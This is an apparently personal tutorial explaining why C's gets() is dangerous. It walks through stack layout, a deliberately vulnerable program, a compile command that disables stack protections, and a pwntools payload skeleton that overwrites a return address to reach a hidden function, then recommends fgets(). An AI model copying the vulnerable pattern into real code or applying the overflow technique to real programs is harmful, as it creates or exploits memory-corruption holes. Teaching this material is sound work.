gets() FunctionLet me tell you about the day I accidentally crashed my friend’s demo program during a C programming class. I was just trying to input my ridiculously long name, and suddenly—SEGMENTATION FAULT. My friend stared at me in disbelief. That’s when I learned about one of the most notorious functions in C: gets().
Think of a buffer like a parking lot with exactly 10 spaces. A buffer overflow is like trying to park 15 cars in those 10 spaces—the extra cars spill over into the neighboring area, potentially causing chaos. In programming terms, it’s when data exceeds the allocated memory space and overwrites adjacent memory locations.
gets() FunctionThe gets() function reads a line from standard input and stores it in a buffer. Sounds innocent, right? WRONG. Here’s why it’s considered one of the most dangerous functions in C:
char buffer[50];
gets(buffer); // This is a ticking time bomb!
The problem? gets() has no bounds checking. It doesn’t care if your buffer can hold 50 characters—if you input 100 characters, it’ll happily write all 100, obliterating whatever was stored in the memory after your buffer.
Let me show you a vulnerable program I wrote during my learning journey:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
printf("Enter your name: ");
gets(buffer); // The dangerous line
printf("Hello, %s!\n", buffer);
}
int main() {
vulnerable_function();
return 0;
}
When you input more than 64 characters, the excess data overwrites:
Here’s what I discovered happens during a buffer overflow:
Stack Layout (simplified):
+------------------+ <- Higher memory addresses
| Return Address |
+------------------+
| Saved Frame Ptr |
+------------------+
| buffer[63] |
| buffer[62] |
| ... |
| buffer[1] |
| buffer[0] | <- Lower memory addresses
+------------------+
When gets() doesn’t check bounds:
Initially, I thought buffer overflows just caused crashes. Boy, was I naive! Attackers can:
gets()To demonstrate the danger of gets(), let’s create a simple PoC that shows how an overflow can overwrite memory and potentially control execution. Warning: This is for educational purposes only. Never run vulnerable code in production or on systems you don’t own.
#include <stdio.h>
#include <string.h>
void secret_function() {
printf("You have successfully exploited the buffer overflow!\n");
}
void vulnerable_function() {
char buffer[64];
printf("Enter input: ");
gets(buffer); // No bounds checking - dangerous!
printf("You entered: %s\n", buffer);
}
int main() {
vulnerable_function();
return 0;
}
Compile the program:
gcc poc.c -o poc -fno-stack-protector -z execstack
(We disable stack protections for demonstration; in real code, these prevent overflows.)
Run it with short input:
echo "Short input" | ./poc
Output: Normal execution.
Run with long input to cause overflow:
python3 -c "print('A' * 80)" | ./poc
This may cause a segmentation fault, as the overflow corrupts the stack.
In a real exploit, an attacker could craft input to:
secret_function.For example, using tools like pwntools in Python:
from pwn import *
# Assuming the binary is vulnerable
p = process('./poc')
payload = b'A' * 72 + p64(0xaddress_of_secret_function) # Adjust offset and address
p.sendline(payload)
p.interactive()
This PoC illustrates why gets() is banned in secure coding—always use fgets() instead for bounds-checked input.